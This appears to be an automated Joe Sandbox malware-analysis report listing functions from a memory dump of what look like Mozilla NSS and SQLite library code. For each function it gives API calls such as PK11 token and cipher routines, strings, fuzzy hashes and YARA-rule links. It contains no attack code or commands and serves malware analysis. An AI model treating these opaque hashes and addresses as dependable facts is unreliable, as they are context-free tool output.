strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCE9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCE9E4E
TlsGetValue.KERNEL32 ref: 6CCE9EA2

Part of subcall function 6CCF9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CCF9546

EnterCriticalSection.KERNEL32(?), ref: 6CCE9EB6
PR_Unlock.NSS3 ref: 6CCE9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CCE9F18

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 770adae5cf178895da53e0ba29f2ca164d1c430ed0b9e52680056cf44b8ffb24
Instruction ID: 519087aa2b2a3797e3bb7a52c81eb5ef543f379d507918d2a32d4f0f81d07447
Opcode Fuzzy Hash: 770adae5cf178895da53e0ba29f2ca164d1c430ed0b9e52680056cf44b8ffb24
Instruction Fuzzy Hash: 3F8108B1A00201ABEB109F34DC41AEB77E9FF4A24CF044528ED5987B51FB31E919C7A1

Function 6CCFDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCFAB10: DeleteCriticalSection.KERNEL32(D958E852,6CD01397,5B5F5EC0,?,?,6CCFB1EE,2404110F,?,?), ref: 6CCFAB3C
Part of subcall function 6CCFAB10: free.MOZGLUE(D958E836,?,6CCFB1EE,2404110F,?,?), ref: 6CCFAB49
Part of subcall function 6CCFAB10: DeleteCriticalSection.KERNEL32(5D5E6CEF), ref: 6CCFAB5C
Part of subcall function 6CCFAB10: free.MOZGLUE(5D5E6CE3), ref: 6CCFAB63
Part of subcall function 6CCFAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CCFAB6F
Part of subcall function 6CCFAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CCFAB76

TlsGetValue.KERNEL32 ref: 6CCFDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CCFDD0E
PK11_IsFriendly.NSS3(?), ref: 6CCFDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CCFDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCFDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCFDEA6
PR_Unlock.NSS3(?), ref: 6CCFDF08

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: d0d1ec1c63123e0443d355c630d4b5e5246c41ccf7f835a83a1bd6a29a37bdd0
Instruction ID: d686210e0b95b543a60ddca82a006309297f4e541cf4404bb1d694477a753ead
Opcode Fuzzy Hash: d0d1ec1c63123e0443d355c630d4b5e5246c41ccf7f835a83a1bd6a29a37bdd0
Instruction Fuzzy Hash: 0A91E4B5A002059FEB40CF69C881BAAB7B1FF45308F258069DD299B751F731E917CBA1

Function 6CCB5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CD9BB62,00000004,6CE04CA4,?,?,00000000,?,?,6CC731DB), ref: 6CCB60AB
sqlite3_config.NSS3(00000004,6CE04CA4,6CD9BB62,00000004,6CE04CA4,?,?,00000000,?,?,6CC731DB), ref: 6CCB60EB
sqlite3_config.NSS3(00000012,6CE04CC4,?,?,6CD9BB62,00000004,6CE04CA4,?,?,00000000,?,?,6CC731DB), ref: 6CCB6122

Strings

%s at line %d of [%.10s], xrefs: 6CCB60A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCB6095
misuse, xrefs: 6CCB609F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 22559310bdd813555b8a55f5c9b9d4471543ffaa1957d776867fa0a3f81843f7
Instruction ID: 533e3284c77f867506f9ef7943242ef698e86f47cb6f4389b821b4e221247429
Opcode Fuzzy Hash: 22559310bdd813555b8a55f5c9b9d4471543ffaa1957d776867fa0a3f81843f7
Instruction Fuzzy Hash: 73B13C74E04A4ACFCB18CF59D2809A9BBF0BB1E304B158159D50DAB362E734BE85CF95

Function 6CC64F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC64FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC651BB

Strings

%s at line %d of [%.10s], xrefs: 6CC651B4
unable to delete/modify user-function due to active statements, xrefs: 6CC651DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC651A5
misuse, xrefs: 6CC651AF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 9391613a05eb9f82fc29024a8f1412ae7f262c3c748bd3adffff38e3a23d142b
Instruction ID: abc9c0383273f0ed2272e208f143036eacd4d456349def762c82c69a5e6ab049
Opcode Fuzzy Hash: 9391613a05eb9f82fc29024a8f1412ae7f262c3c748bd3adffff38e3a23d142b
Instruction Fuzzy Hash: 1D71BEB560420A9FDB00CF56CEC0B9A77B5BF48308F244125FD199BE82E335E851CBA1

Function 6CCD2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CCD2D69

Strings

winTruncate1, xrefs: 6CCD2EBE
winUnmapfile2, xrefs: 6CCD2F7F
winTruncate2, xrefs: 6CCD2EF8
winSeekFile, xrefs: 6CCD2E9C
winUnmapfile1, xrefs: 6CCD2F55

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 4be742000596809cbb79befae981915d5bb35deaebc868cb714b4a8e31909dcf
Instruction ID: 086fd0cbe39820312e74298163c5d47c1031432fe0badedbf84add4ad02e920a
Opcode Fuzzy Hash: 4be742000596809cbb79befae981915d5bb35deaebc868cb714b4a8e31909dcf
Instruction Fuzzy Hash: 3561B371B002059FDB14CF64DC94B6A77B1FF49318F108529EA19ABB90EB31BD06CB91

Function 6CD4FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CD4F165,?), ref: 6CD4FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CD4F165,?), ref: 6CD4FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CD4F165,?), ref: 6CD4FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CD4F165,?), ref: 6CD4FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CD4F165,?), ref: 6CD4FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CD4F165,6CE1219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD4FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CD4F165,?), ref: 6CD500A6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e85e51f2ddbd3d176ed7a89f424a2a176eff375f918bf417647fa9c11fe2f0c8
Instruction ID: 363ab1f5a8c27e8a696e27c573e12a78a0ff3f1d8fe9d605eef83cff9aa3ca33
Opcode Fuzzy Hash: e85e51f2ddbd3d176ed7a89f424a2a176eff375f918bf417647fa9c11fe2f0c8
Instruction Fuzzy Hash: B0510271E006559BDF208F5CC8807AEB7B5BB49398FA54229DD55A7B60D332BC218BE0

Function 6CD0DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD0DF37
EnterCriticalSection.KERNEL32(?), ref: 6CD0DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CD0E02B
PR_Unlock.NSS3(?), ref: 6CD0E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD0E090
PR_Unlock.NSS3(?), ref: 6CD0E0AF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 369fe4513820070288ac957af7414b5a38d6c499961666e37086d110bbe54b8a
Instruction ID: fad1de0ac42ea0217436814012291e26fd90fe1670c94db63617bca17f49035f
Opcode Fuzzy Hash: 369fe4513820070288ac957af7414b5a38d6c499961666e37086d110bbe54b8a
Instruction Fuzzy Hash: A1517E71B00600DBE7209F29D844B5677F5BF45318F208629E9DA47FB1D731E948CB92

Function 6CD0BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CD0BD1E

Part of subcall function 6CCE2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CCE2F0A
Part of subcall function 6CCE2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCE2F1D

Part of subcall function 6CD257D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CCEB41E,00000000,00000000,?,00000000,?,6CCEB41E,00000000,00000000,00000001,?), ref: 6CD257E0
Part of subcall function 6CD257D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CD25843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CD0BD8C

Part of subcall function 6CD3FAB0: free.MOZGLUE(?,-00000001,?,?,6CCDF673,00000000,00000000), ref: 6CD3FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CD0BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CD0BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0BE3A

Part of subcall function 6CCE3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCE3EC2
Part of subcall function 6CCE3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCE3ED6
Part of subcall function 6CCE3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCE3EEE
Part of subcall function 6CCE3E60: PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCE3F02
Part of subcall function 6CCE3E60: PL_FreeArenaPool.NSS3 ref: 6CCE3F14
Part of subcall function 6CCE3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCE3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0BE52

Part of subcall function 6CCE2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CCE2CDA,?,00000000), ref: 6CCE2E1E
Part of subcall function 6CCE2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CCE2E33
Part of subcall function 6CCE2E00: TlsGetValue.KERNEL32 ref: 6CCE2E4E
Part of subcall function 6CCE2E00: EnterCriticalSection.KERNEL32(?), ref: 6CCE2E5E
Part of subcall function 6CCE2E00: PL_HashTableLookup.NSS3(?), ref: 6CCE2E71
Part of subcall function 6CCE2E00: PL_HashTableRemove.NSS3(?), ref: 6CCE2E84
Part of subcall function 6CCE2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CCE2E96
Part of subcall function 6CCE2E00: PR_Unlock.NSS3 ref: 6CCE2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD0BE61

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: c68897a1d097eaa9314750b201b328306e1cd8498836554250374f454f955bdf
Instruction ID: 765f6e94381965f9e3ddad8527690c2578e32711992ada3413dbf1c4c7ee1719
Opcode Fuzzy Hash: c68897a1d097eaa9314750b201b328306e1cd8498836554250374f454f955bdf
Instruction Fuzzy Hash: B941D5B5A04220AFC710DF28DC80B6AB7E4EF49718F154158F94997761E731ED04CBA2

Function 6CD2AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CD2AB3E,?,?,?), ref: 6CD2AC35

Part of subcall function 6CD0CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CD0CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CD2AB3E,?,?,?), ref: 6CD2AC55

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CD2AB3E,?,?), ref: 6CD2AC70

Part of subcall function 6CD0E300: TlsGetValue.KERNEL32 ref: 6CD0E33C
Part of subcall function 6CD0E300: EnterCriticalSection.KERNEL32(?), ref: 6CD0E350
Part of subcall function 6CD0E300: PR_Unlock.NSS3(?), ref: 6CD0E5BC
Part of subcall function 6CD0E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CD0E5CA
Part of subcall function 6CD0E300: TlsGetValue.KERNEL32 ref: 6CD0E5F2
Part of subcall function 6CD0E300: EnterCriticalSection.KERNEL32(?), ref: 6CD0E606
Part of subcall function 6CD0E300: PORT_Alloc_Util.NSS3(?), ref: 6CD0E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CD2AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD2AB3E), ref: 6CD2ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CD2AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CD2AD2B

Part of subcall function 6CD0F360: TlsGetValue.KERNEL32(00000000,?,6CD2A904,?), ref: 6CD0F38B
Part of subcall function 6CD0F360: EnterCriticalSection.KERNEL32(?,?,?,6CD2A904,?), ref: 6CD0F3A0
Part of subcall function 6CD0F360: PR_Unlock.NSS3(?,?,?,?,6CD2A904,?), ref: 6CD0F3D3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 0c7e19dea235859537aefdbb53be03d3df0436cc17b6644ab9e936c862adced5
Instruction ID: e76a2af75074f10aa41d83d2cfcfe2e89162bff07bfd2a62f262b3f034299d20
Opcode Fuzzy Hash: 0c7e19dea235859537aefdbb53be03d3df0436cc17b6644ab9e936c862adced5
Instruction Fuzzy Hash: 6A3149B5E006059FEB048F29CC409AF7776EFC432CB198128E91897B50EB35DC0597B1

Function 6CD08C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CD08C7C

Part of subcall function 6CDA9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DC6
Part of subcall function 6CDA9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DD1
Part of subcall function 6CDA9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDA9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD08CB0
TlsGetValue.KERNEL32 ref: 6CD08CD1
EnterCriticalSection.KERNEL32(?), ref: 6CD08CE5
PR_Unlock.NSS3(?), ref: 6CD08D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CD08D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD08D93

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 43da318fffd28aee99b17e7a2de1cf49a5cda277535d7cd6265fdfc0cef56e3a
Instruction ID: ca42781e2b328f6439a71512aa0cf0eb6e8962ba2da671276216f07d4bf94201
Opcode Fuzzy Hash: 43da318fffd28aee99b17e7a2de1cf49a5cda277535d7cd6265fdfc0cef56e3a
Instruction Fuzzy Hash: F7312571B01205EFEB00AF6CDC4479AB7B4BF44318F140236EA1967BA0D770A965C7E1

Function 6CD49D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CD49C5B), ref: 6CD49D82

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CD49C5B), ref: 6CD49DA9

Part of subcall function 6CD41340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD4136A
Part of subcall function 6CD41340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD4137E
Part of subcall function 6CD41340: PL_ArenaGrow.NSS3(?,6CCDF599,?,00000000,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?), ref: 6CD413CF
Part of subcall function 6CD41340: PR_Unlock.NSS3(?,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD4145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CD49C5B), ref: 6CD49DCE

Part of subcall function 6CD41340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000,?,6CCDF599,?,00000000), ref: 6CD413F0
Part of subcall function 6CD41340: PL_ArenaGrow.NSS3(?,6CCDF599,?,?,?,00000000,00000000,?,6CCE895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CD41445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CD49C5B), ref: 6CD49DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CD49C5B), ref: 6CD49DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CD49C5B), ref: 6CD49E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CD49C5B), ref: 6CD49E91

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

Part of subcall function 6CD41560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CD3FAAB,00000000), ref: 6CD4157E
Part of subcall function 6CD41560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CD3FAAB,00000000), ref: 6CD41592
Part of subcall function 6CD41560: memset.VCRUNTIME140(?,00000000,?), ref: 6CD41600
Part of subcall function 6CD41560: PL_ArenaRelease.NSS3(?,?), ref: 6CD41620
Part of subcall function 6CD41560: PR_Unlock.NSS3(?), ref: 6CD41639

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
